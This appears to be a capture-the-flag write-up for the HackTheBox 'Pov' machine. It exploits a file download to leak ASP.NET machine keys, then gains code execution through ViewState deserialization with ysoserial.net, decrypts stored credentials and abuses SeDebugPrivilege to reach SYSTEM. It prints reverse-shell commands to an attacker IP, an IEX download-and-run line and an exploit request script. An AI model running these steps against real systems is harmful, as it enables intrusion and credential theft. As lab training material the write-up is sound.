Pov – HackTheBox Link to heading

  • OS: Windows
  • Difficulty: Medium
  • Platform: HackTheBox

‘Pov’ Avatar


Summary Link to heading

Pov is a medium Windows machine from HackTheBox. After performing sub-domains scans, we find a dev virtual host for the available webserver. This new site, that seems like a blog, allows us to download a portfolio PDF. Analyzing how the server provides this file, we find it uses View State. After some research, we use YSoSerial.Net tool to generate a payload and connect to the victim machine. Once inside the victim machine, we are able to find credentials for another user called alaading. We internally pivot to this user. This new user has the SeDebugPrivilege disabled, but can be enabled using different tools. Once enabled, can use it to “hijack” a priviledged process and fully take control of the victim machine.


User Link to heading

Starting with a Nmap scan shows only 1 port open: 80 HTTP:

❯ sudo nmap -sVC -p80 10.10.11.251 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-15 18:45 -04
Nmap scan report for 10.10.11.251
Host is up (0.15s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
|_http-title: pov.htb
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.20 seconds

where we can see we are against a Microsoft Internet Information Services (Microsoft IIS) web server.

Visiting the site http://10.10.11.251 (where 10.10.11.251 is the target IP address) shows a simple website:

Pov 1

The site presents a project about cybersecurity. However, many of the buttons there do not work.

Since we cannot interact with the page, I will start looking for directories applying a Brute Force Directory Listing with Gobuster but got nothing.

At this point I will start searching for subdomains. For this, first add 10.10.11.251 with the domain pov.htb, since pov.htb is presented as the website name at the very bottom of the webpage (and as http-title from Nmap scan). We do this running:

❯ echo '10.10.11.251 pov.htb' | sudo tee -a /etc/hosts

Once added the domain to our /etc/hosts file, let’s search for subdomains using ffuf:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://pov.htb/ -H 'Host: FUZZ.pov.htb' -fl 234

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://pov.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.pov.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 234
________________________________________________

dev                     [Status: 302, Size: 152, Words: 9, Lines: 2, Duration: 158ms]
:: Progress: [4989/4989] :: Job [1/1] :: 260 req/sec :: Duration: [0:00:28] :: Errors: 0 ::

where we find 1 subdomain: dev.pov.htb. So I add this subdomain to my /etc/hosts file, so now it looks like:

❯ cat /etc/hosts | tail -n 1

10.10.11.251 pov.htb dev.pov.htb

Now that we have added this site, we can visit it. First I check it with cURL:

❯ curl -s http://dev.pov.htb

<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="http://dev.pov.htb/portfolio/">here</a></body>

where we see that we are redirected to http://dev.pov.htb/portfolio

Visiting http://dev.pov.htb/portfolio shows another webpage:

Pov 2

Scrolling down in this page, it allows us to download a PDF file that is the CV from the designer:

Pov 3

If we download this CV it apparently is a normal CV:

Pov 4 I note that when I put my mouse over the download button (but not clicking on it) it calls a JavaScript function called __doPostBack. Looking at the source code from the page the function looks like:

var theForm = document.forms['form1'];
if (!theForm) {
    theForm = document.form1;
}
function __doPostBack(eventTarget, eventArgument) {
    if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
        theForm.__EVENTTARGET.value = eventTarget;
        theForm.__EVENTARGUMENT.value = eventArgument;
        theForm.submit();
    }
}

where it is calling some variables eventTarget and eventArguent to execute the action.

To check what happens when we click on Download CV button, I will start a Burpsuite session and intercept the request when we click on Download CV button. If we do this we get the following:

Pov 5

where I can see the HTTP request:

POST /portfolio/ HTTP/1.1
Host: dev.pov.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 357
Origin: http://dev.pov.htb
DNT: 1
Connection: close
Referer: http://dev.pov.htb/portfolio/
Upgrade-Insecure-Requests: 1

__EVENTTARGET=download&__EVENTARGUMENT=&__VIEWSTATE=pq4lVre5C%2BeE0zeQ7GhEylpWd60Dp5RKMQDIZjOnuFnsE4TMwTIgBobkoGJk2n3eD%2F2aWP0l4Ap2cIh98d8PLk%2Fi2uk%3D&__VIEWSTATEGENERATOR=8E0F0FA3&__EVENTVALIDATION=19foRXLpnWS5AHjpvopq9vbMZW8BAnmzZPMqWj3tx2KqbqPBU3OR1570e0DW5PuIIzjYQMCqfhlGC5NDM5NDlF1IPnamA%2BAJt5iU5ftodSZfiggU20q7HXkcXH7trj%2FIh8IJqw%3D%3D&file=cv.pdf

Based on the arguments the server is using View State

Info
View State is the method to preserve the Value of the Page and Controls between round trips. It is a Page-Level State Management technique. View State is turned on by default and normally serializes the data in every control on the page regardless of whether it is actually used during a post-back

Here I note that is is calling, with the parameter file, the file cv.pdf.

We could try to manipulate what file is being called. So, I send the request to Repeater in Burpsuite (Ctrl+R) and change the file value where, eventually -and after playing with some files-, changing cv.pdf to /web.config works.

Pov 6

where we get the response:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: application/octet-stream
Server: Microsoft-IIS/10.0
Content-Disposition: attachment; filename=/web.config
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 May 2024 23:17:09 GMT
Connection: close
Content-Length: 866

<configuration>
  <system.web>
    <customErrors mode="On" defaultRedirect="default.aspx" />
    <httpRuntime targetFramework="4.5" />
    <machineKey decryption="AES" decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" validation="SHA1" validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" />
  </system.web>
    <system.webServer>
        <httpErrors>
            <remove statusCode="403" subStatusCode="-1" />
            <error statusCode="403" prefixLanguageFilePath="" path="http://dev.pov.htb:8080/portfolio" responseMode="Redirect" />
        </httpErrors>
        <httpRedirect enabled="true" destination="http://dev.pov.htb/portfolio" exactDestination="false" childOnly="true" />
    </system.webServer>
</configuration>

HackTricks offers a good way to exploit ViewState mechanism. We will need YSoSerial.Net (which can be obtained from its Github repository) and pass it to a Virtual Machine with Windows. Once there, we run the command:

C:\Users\gunzf0x\Downloads> ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "<Command Here>" --path="/portfolio/default.aspx" --approach="/" --decryptionalg="AES" --decryptionkey="<DescriptionKeyHere>" --validationalg="SHA1" --validationkey="<ValidationKeyHere>"

In my case, I go to Reverse Shell Generator (https://www.revshells.com/), go to PowerShell #3 (Base64), put my attacker IP and listening port (10.10.16.2 as my attacker IP and 443 as the listening port in my case). Then, on the Windows VM, run YSoSerial.Net with the proper command as explained above:

C:\Users\gunzf0x\Downloads> ysoserial.exe -p ViewState -g TypeConfuseDelegate --path="/portfolio/default.aspx" --approach="/" --decryptionalg="AES" --decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43" --validationalg="SHA1" --validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468" -c "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGU<SNIP>HMAZQAoACkA"

Running, this, in my case, generates the following payload:

7OOGcG4TMXWXqCm9Qv4r%2BmtOJ2tPkHx2Cci8xMAorxYGxhDxmwf1qyLMtlPssodM%2BWwRa6cAQkCUqW%2FE%2BjOi3MLYuIf1Qg%2FNAD0bYrc1RGCxEAka%2FRxLC%2BXHNNkPtH9Cwffrc2nvNKc0v69%2BLzGAoJjElBNoxjDltsFUyhP%2FYWFkXPUDD3%2Bf1HU%2FCXj9Ayk3HSxzEfobLY4FxxJzBw8b1h%2F%2Ftz1ePGB86ngU9eLDN1VxvVd573PJPQ%2FJTI4rhOMBVl9iMEqDIpM9%2F3%2BrFFS7G0Yhkrltw%2BNFfC1oplYvvPMWhQFIdoKSFanWoHkYaP%2Fw4F1IGWXSq1u7PQLvpmg5P1evLtSDcUfWNLUiS%2Fd0XS9xP8BkBQuola45DF9iyy5MCb2BYbUswLVqlMt9YcsICABqK36TCHFK0wRK%2BBtX%2Fh2pHg8u5J8J4wdi0umjNQlgH2WhsmqA35LUcC5NfJLowO00Z%2FkU2m3PQOzOnmkZTjCg0eHVE4LUceMJ2NOhf%2B17gjcc4WD55%2Bvqt7zO6klqv8khzoEcxpr7zNlaFhfcJZMFpQ8dWVNs9j%2Fa1pbk4bzQ3CTWMPRGw%2BRl7V%2BTxL3O0G09hh9ZloR41ebpQBWY9bGB47gu2fxxdmnhFKpPFmEOD8HCdWO6j1lekEKRENGQWANtPX63fsXMSNAh4jP1RXFUHyV9LiJuDpcNXWkkHaddlZ5HuX8kZ0UT0MtJYVF18%2F21mnduTNEZrFk1tL4IVKOQa%2BUNJdTiZI0DfD%2FEdbAJecS93uj3VkrkmwzJF3ekGyHHDlgZ%2FBADw8LNhbEEd2MvlSKQmOLcGTsigUaCWJDGW9kGHSrXE5tLk3mm1JpcyxltH2VuxEwZ9A%2B%2BWYLHkMG4dmAmmEkiO0hGFRl4D4e1Jm%2BqLmIkKj0YAcbUnJdfuY7MVPxjplDiSpPzhxztgHVCWACgQKargy8zxxmclFjLDF5LJkeAcS27GbJS9swK0OgloqiMsk1Iv1zuFkvQOtDlNvFBtb8zkwAvGN%2FLxCVCYdWiWRZaUNHQLldDyMALNAUKXtS9zyeXG7O2iXW3VVSkx1nu4Ma2BcwUdWZr9D0xIqvu8UW3LwAORDi5A5y6P1q80lWv1qJF4IjXWtd6Yz7LWtnop3Ma8t5LH3qe99gOeVnohOvcXv7KflxLPFZ1ahekiCSRjRmBlgdyeidOAkg7esosKnp%2FXEfjuDhMravbOlUQCW8XlhYHsH34KB6Vps1a5%2BtyZenRRGt9r9DHRiQz0W%2FgZFkUk%2FKzJeJtQGM0vRPvF87jgpHzUcrvuFYRyMM1cdEg1rtMMuXqiIjQUoHM5AOBlBYxUws37qY6CUDfCis7X%2BeuJhqmlJL9CXFdB1%2BhVmZ9HIfWVIwwtfmiqRZ6DCnsR5LE73I%2FptBV2mInZMVL4YFh4WUonC9seAC7%2BWil8K8dFigrefYZfFZMGx4sI9jM8jKbue%2FpdPUUgeShKJQLx8PgqyK3PmuYcSqYfKo1H9K%2Buuo3ZlJsIHRu253L8ZMlSd6DrPfLX%2Ft8yxMpp06kgS2Yr6KjThBCbXDAVoci0ZVpez5ix%2FdBNIZIGv%2BjelNgxAIB6x%2BoTGYf4c0Ffryrvcl2CrjLpkSnU7kqoOTkZgUugUeEDAWyU3b0oHZ1JkqHBHqtc0gVA4QkDdDvGvVhcIMGy3iXVeU9A8LrJZYlIbdAuaNbnSI28k8lu5w2aDmmZEBiKqJXrd%2B7aQvSqYlwxl02BKB0LzhAmMrBCvP8rB%2BHugTGuLWJ3jxMZuJWek9%2FGvz4mrfzoTeWu6UfyHKkUaVNcyp1ndMr9ICmtPUNmBWTXeJg5T%2Bl98qNzi16pD%2F%2BnrCLzmf5vzt3iYOiwP7r8mFpSmT2uPMS2YMZ%2F5FaQLl0bfOoILeH5TMkfHDLKIKIC%2BXXHkTEiqL3areyGVlH1mVavzMeb2Zd7W%2Fe33v%2BjBHuw1pzTbWbsEtvrbzltA9FAVtFtBGXQBZvvfB%2BX6CG8eB0MDWpAVtRS%2BwVqCRVe2i78uIAMyzYhtkEiveq8GLyuYAu49p%2BpnQAsfekWhGFc8k73%2BiulLV%2Bk4xSLjq56DYRSCSBaq8XoLPT9ZOV0wAj%2FM9jNiH3fTN4bLnqC6ETl7g2L%2FSjRmbF9D6e%2F32g%2BLPWwweH%2FmHUCcQ1L254%2BCGZXhf4T4g%2B4t2AETja6F918YMMJk1TVLxVpPeDdPx4F8bAJL3%2FDQ7EQ%2BWPNJFT6%2B4mtJkn%2Fo1XcoAM7E4QzVg7nDOwr2L5mBHd02ykqY%2BUreJkkF0kWvDvaEJiTgF3v1mYw59agZStKYxv9VMBfJ%2BMiORT8Gh9iqiGLAFoOwbcQVoyGDT122ACwgGfmgQg6lcmkTuLECTa0QjlELrG76NUJi6dFb9%2FbqH6U%2F%2BFD9l8JYbFNdsVZQKfi%2FH68zKNdiUE31kuG5E64mHS8z2dv9v%2Bza83go5WyIh2EJQ88kTy4CKhOCfeSHqqybftpJIb2hSvSGR6Rf3j0tY3AQx9GtaMgyThDDvUIihPILyd5DTZnDSY1nSQMFeuX50AlMeqwIzPLFmXCuN9vy0W1LuLjnzMxdFblI6qxEIUq9HzPQKGTHjepmxx%2Fddt7IGu9bBeoqW6k2oHrGQEGgKa3KHyE8lWGxWAViFZYGlY9YtMq5TyLgn%2BnUZxG8d6G3ePE0bI2%2BYDvCRH69ofD%2FjxALK4UUCKGwP3QGLO1YmFKx0Tk3eWT4vx%2BiWktLDXVEokMBFZXFopuZQBRP12Q7oDPmRQtPRoUNxU3w0RsHjEDIzU5fQpfdPm1KrBQhJt1NVzT7yHBrSg8vujiBjgozskvCrPg75e1dNMmVDc7d3xrHoiCmlaACrxM%2B%2BJu1PcnTNtQaRXD3zk78Lwh6ZqRjof4V%2BiKKDC2o6D9klArbLo8HBx2XYedv59oL5v%2B6uWiDtiU%2FHw5ohtAt18fmb56mfKbWQWr%2Bo7xHh4eTCFDuyamAvcfLk0B9JAdQVRHAO5M8FVTc6siKA2F0Xxd8yJpS4fyU8b5bzildMftaIMGpWRavQXsUVEeuKZnCI6WNDurxx2uvTreAdCnVVFx7gOfRpHInywP2xGbwRrugQFhS54faF0Kw8N%2FHg9i4xhljPrN0JmCj2ObCMa%2Bne1r5qYiJSyd3DpDJB%2FKJP5PuP7BrK49GrlgMUxKHNplW8bcdzkoQ6onHJKbsaV7K24vOxkakqwyJxlGrS2%2Byua7RXEmB5m0dYkTJxiGz45Lxdp2u6bLPXG6ltFQKV%2BljKXzVdvrJ%2FRUAJEZKlf3aJ%2Bx5aEfLwOSOSZPpHTQeFVm5TDoE%2FHTshADXEMNQ%2Bu1vZjAV4WoAmUOAoWMFEc%2FY3UrDV%2Bkql6VOEBaE%2BVbuHNNK72buVn0aFRL%2BjmxyZjXZ%2Byk7hn9%2FNcgMzzToGTVJKUEVS%2B%2BYuDhvQJYt9SfFvwNjCb9thd7hNSZFrJii1vKS9nN1%2BIVu0irMn82WwAA2iAEQj%2FtOHOKLyaRYHv9yka9dX6bfxMV%2BuR4V%2F6cEI0N1zoHF1lLd8IuS%2BUhADhFGL2o%2BluhluuM%2FVW%2FpJn63vNIqcx1f%2FHwY%2BtCm0jBKVHFiiY%2FihEDQG5xQczaYhyqK575SzKYoyS5b5ky5LQI%2Bo3eFoM1ABvQzxdsP4LslZ57aaJUaNky4llWmW%2F785NadYr0n7Btv53Q84XI9cQSGg%2F58jCBOEm9248dpSUy2AZR0NwHm5b908ftGS6wtth1Ue3i4etopiFLDer4eMfnp%2BVq6BnM5XMZXOYFm4oVxOUkUJ3nHXkTqPMOvqHS3ftWC%2FOlRvG2j6%2Bnt3kn610sl0FcOo63daLKi%2BEpwwuY8H6B8knKuc5snacPkA4lPXDk9cGjVwmSsfaMuwtS9rJ7T2JqxykW7ZJobYI%2FGEQVvAlYmYbGoZRzr5vh6yPhVBtAoW5JyXtRO%2BQnUwmORRoQlBO1yF7sYvWid6GdSdN2gbLdh7uxS8W6QCLxhyuSh8I6zWOeWdjwqDyjCs1fcM5jSII3hQNZjpKBj0y7FeNfvKDpidq3jDjksHz7E3CDsl4pyiExI3uf9xhHjzQZbKDnVC%2ByI794yf8gQLNyZfqcxfDY3LbDA%2F0adHKFSe6vmDPOMyXkrzoSYkh1AhWwH4anB9hOnqcwg3pOaOaHP0ZqCWooA4%2FbsHeQMlNNPWoZuCzCDLB5DbRnS1b7T9LUlU0TDu2GBOw5HJXFXqusgdu98i%2FtE8yKTIzSQFdiLtT2miZtOKYe8TTc5i0%2FZBzxjdkH4zSzjF81PNX8lbPYQJUArQ6yymMPOIh0wu%2FFfTR8XoydzYfhcn%2FKSc2dkQfepoYVh%2Fe0HQf9Wf5EbicBXF2ZumcyUROd5%2Fj5kWNXn4BG74kk19hU9lS88jqnaCOtithxUcth5BVVNQd89iRxjEiNxyW2o7aIXMWzTMcoOu9vdIM7YzP%2BpaUxnvQFTh%2FxqRFjUy2rvSszjn%2FYK5LYpLctP3ROO%2BppxXoN7PTBOZrCSfM79TShqek%2BcOTBRpb%2Feivb0l2cvkVP1DrsiheoWVBkGFTgFKId6plAULSOsoHzRIqOPlFYqjvPlRadxmHixQwYEYbaICuPR8ZAMeWn%2BHo5GmgYmHefcXPFBY%2B3WmnFFs0dGR2DAOqGnGb%2FGRcb05n5MKsN9mbM5yU58PmbGkUt86j21V545LWRq9W%2BsFqYRkVPpUST8gPuGpUT216m0%2FcmO9eSfbwDgzEFvIdZMMF%2BRXql%2FB9HZZu8KQUsW%2Fbwz%2F7nAhsfjSiWRwzOdSzNZoIua65qphY1N8IYU%2BeNmdLUzG0LGT%2FiF4lF53FRbwMOuFwtv0ehw9WqOUWo7pwQx7A1Opj9lWq7ANLNEWcuNP%2FTfJE

Note that this payload will be different for your machine since the IP address will change.

Now, we have 2 options:

  1. Use Burpsuite, intercept the request as we have done when we clicked on Download CV and pass as __VIEWSTATE parameter the payload (as was explained at HackTricks)
  2. Make a simple Python script that sends this data, but via console. So if we lose the connection for any reason we can recover the connection in a quicker way.
import requests
import argparse
import sys
import urllib.parse


def parse_arguments()->argparse.Namespace:
    parser = argparse.ArgumentParser(description="A simple argument parser example.")
    # Add arguments
    parser.add_argument('-u', '--url', type=str, help="Url to make POST request to. Example: http://dev.example.htb/example/", required=True)
    parser.add_argument('-c', '--command', type=str, help='ViewState command', required=True)

    return parser.parse_args()


def make_POST_request(url: str, command: str)->None:
    generic_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1"}
    payload = {"__EVENTTARGET": "download", 
                  "__EVENTARGUMENT": '', 
                  "__VIEWSTATE": urllib.parse.unquote(command), 
                  "__VIEWSTATEGENERATOR": "8E0F0FA3", 
                  "__EVENTVALIDATION": "pGfjsostEYtFuRQ+WLNYLVAVMkGFgPjb4CDyPOQ+k20Bf6VSQiuoaYE7iH2XNLMQRiPHNeCRYzI/Gxbh1N4NVUaITnLyalHjhxMVG+ZsotApeeHvWBirBzUW5IHovXP985Kdnw==", 
                  "file": "cv.pdf"}
    r = requests.post(url, headers=generic_headers, data=payload, verify=False)
    if r.status_code != 200:
        print(f"[!] Could not execute the payload. Code status {r.status_code!r}")
        sys.exit(1)
    print("[*] Payload succesfully executed.")
    return


def main()->None:
    # Get user arguments
    args = parse_arguments()
    # Make the malicious request
    make_POST_request(args.url, args.command)


if __name__ == "__main__":
    main()

so I run:

❯ python3 request_server_exploit.py --url 'http://dev.pov.htb/portfolio/' --command '7OOGcG4TMXWXq<SNIP>7pwQx7A1Opj9lWq7ANLNEWcuNP%2FTfJE'

and in my netcat listener I get a connection as sfitz user:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.251] 49673
whoami
pov\sfitz

At C:\Users\sfitz\Documents I find an interesting file:

PS C:\windows\system32\inetsrv> dir C:\Users\sfitz\Documents


    Directory: C:\Users\sfitz\Documents


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       12/25/2023   2:26 PM           1838 connection.xml

and checking the content of this file connection.xml we have:

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>System.Management.Automation.PSCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>System.Management.Automation.PSCredential</ToString>
    <Props>
      <S N="UserName">alaading</S>
      <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6</SS>
    </Props>
  </Obj>
</Objs>

From this credential file we can extract its content following instructions from HackTricks:

PS C:\windows\system32\inetsrv> $user = "alaading"

PS C:\windows\system32\inetsrv> $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000cdfb54340c2929419cc739fe1a35bc88000000000200000000001066000000010000200000003b44db1dda743e1442e77627255768e65ae76e179107379a964fa8ff156cee21000000000e8000000002000020000000c0bd8a88cfd817ef9b7382f050190dae03b7c81add6b398b2d32fa5e5ade3eaa30000000a3d1e27f0b3c29dae1348e8adf92cb104ed1d95e39600486af909cf55e2ac0c239d4f671f79d80e425122845d4ae33b240000000b15cd305782edae7a3a75c7e8e3c7d43bc23eaae88fde733a28e1b9437d3766af01fdf6f2cf99d2a23e389326c786317447330113c5cfa25bc86fb0c6e1edda6" | ConvertTo-SecureString

PS C:\windows\system32\inetsrv> $cred = New-Object System.Management.Automation.PSCredential($user, $pass)

PS C:\windows\system32\inetsrv> $cred.GetNetWorkCredential() | fl

UserName       : alaading
Password       : f8gQ8fynP44ek1m3
SecurePassword : System.Security.SecureString
Domain         :

where we have credentials: alaading:f8gQ8fynP44ek1m3

Since we do not have any available services/ports open besides HTTP on port 80, we will attempt to pivot to alaading user inside the machine. For this, we pass a netcat binary for Windows and RunasCs (that can be downloaded from its Github repository) and send to my machine a CMD reverse shell as user alaading. For this we start a temporal Python HTTP server on port 8000:

❯ ls && python3 -m http.server 8000

nc64.exe  RunasCs.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

and in the target machine, download the files:

PS C:\Users\sfitz\Documents> wget http://10.10.16.2:8000/nc64.exe -Outfile C:\Users\Public\Downloads\nc.exe

PS C:\Users\sfitz\Documents> wget http://10.10.16.2:8000/RunasCs.exe -Outfile C:\Users\Public\Downloads\runascs.exe

PS C:\Users\sfitz\Documents> dir C:\Users\Public\Downloads


    Directory: C:\Users\Public\Downloads


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        5/15/2024   8:18 PM          45272 nc.exe
-a----        5/15/2024   8:22 PM          51712 runascs.exe

Once all the files has been transferred, run netcat as user alaading using RunasCs to send us a CMD. Before this start another netcat listener on port 443 in our attacker machine:

❯ rlwrap -cAr nc -lvnp 443

and in the victim machine, run:

PS C:\Users\sfitz\Documents> C:\Users\Public\Downloads\runascs.exe alaading f8gQ8fynP44ek1m3 "C:\Users\Public\Downloads\nc.exe 10.10.16.2 443 -e C:\Windows\System32\cmd.exe" -t 10 --bypass-uac

No output received from the process.

We then get a shell as alaading user:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.251] 49677
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
pov\alaading

where we can finally get the flag from user alaading from this user’s Desktop.


NT Authority/System - Administrator Link to heading

Looking at alaading privileges:

C:\Windows\system32>whoami /priv

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeDebugPrivilege              Debug programs                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

SeDebugPrivilege could be interesting. However, it is disabled.

First, I try to use FullPowers to enable it, but failed. Then, following suggestions from this blog, we need to download psgetsys.ps1. Once downloaded, in the target machine I pass from CMD to a Powershell simply running:

C:\Windows\system32> powershell

powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

and then, after starting a Python HTTP server on port 8000 where psgetsys.ps1 is located (python3 -m http.server 8000), I import the module from my machine:

PS C:\Windows\system32> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.2:8000/psgetsys.ps1')

IEX(New-Object Net.WebClient).downloadString('http://10.10.16.2:8000/psgetsys.ps1')

Then, following the blog instructions we run:

PS C:\Windows\system32> Get-Process winlogon

Get-Process winlogon

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    255      12     2652      16404       0.20    552   1 winlogon

where in this case the Id is the interesting stuff, in this case it is 552 (it might slighlty different in your case).

After running this command we see that SeDebugPrivilege is enabled:

PS C:\Windows\system32> whoami /priv

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeDebugPrivilege              Debug programs                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

However, if I change back to a CMD (exit from the Powershell session) the permission SeDebugPrivilege appears as Disabled again. So, from this Powershell console with all the privileges, I send a new reverse shell with CMD to another netcat listener:

PS C:\Users\Public\Downloads> cmd.exe /c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe

cmd.exe /c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe

and now I got full privileges, but now on a CMD:

❯ rlwrap -cAr nc -lvnp 4444

listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.251] 49677
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Public\Downloads>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeDebugPrivilege              Debug programs                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

I have to say that from the full-privileged Powershell session I tried to use psgetsys.ps1 to get a shell, but nothing happens:

PS C:\Users\Public\Downloads> import-module .\psgetsys.ps1

PS C:\Users\Public\Downloads> ImpersonateFromParentPid -ppid "552" -command "cmd.exe" -cmdargs "/c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe"

ImpersonateFromParentPid -ppid "552" -command "cmd.exe" -cmdargs "/c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe"
[+] Got Handle for ppid: 552
[+] Updated proc attribute list
[+] Starting cmd.exe /c c:\users\public\downloads\nc.exe 10.10.16.2 4444 -e cmd.exe...False - pid: 0 - Last error: 2

So I go back to HackTricks and they show another Github repository called ‘SeDebugPrivilege-Exploit’. So I download it from its releases, pass the .exe file to the victim machine and then, from the full-privilege CMD, -and after starting another netcat listener on port 4444- run it using the id from winlogon previosuly found (552 in my case):

C:\Users\Public\Downloads>.\debug.exe 552 "C:\Users\Public\Downloads\nc.exe 10.10.16.2 4444 -e C:\Windows\System32\cmd.exe"

.\debug.exe 552 "C:\Users\Public\Downloads\nc.exe 10.10.16.2 4444 -e C:\Windows\System32\cmd.exe"
pid= 552
[+] New process is created successfully.
    |-> PID : 2996
    |-> TID : 3456

where I get another shell:

❯ rlwrap -cAr nc -lvnp 4444

listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.251] 49681
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Public\Downloads>

the “buggy” thing of this shell is that some commands do not show output, such as whoami:

C:\Users\Public\Downloads>whoami

whoami

C:\Users\Public\Downloads>

Nevertheless, I note that I can read the Administrator flag, so we have a shell with a full privilege user:

C:\Users\Public>type C:\Users\Administrator\Desktop\root.txt

type C:\Users\Administrator\Desktop\root.txt

853<SNIP>

and that’s it!

~Happy Hacking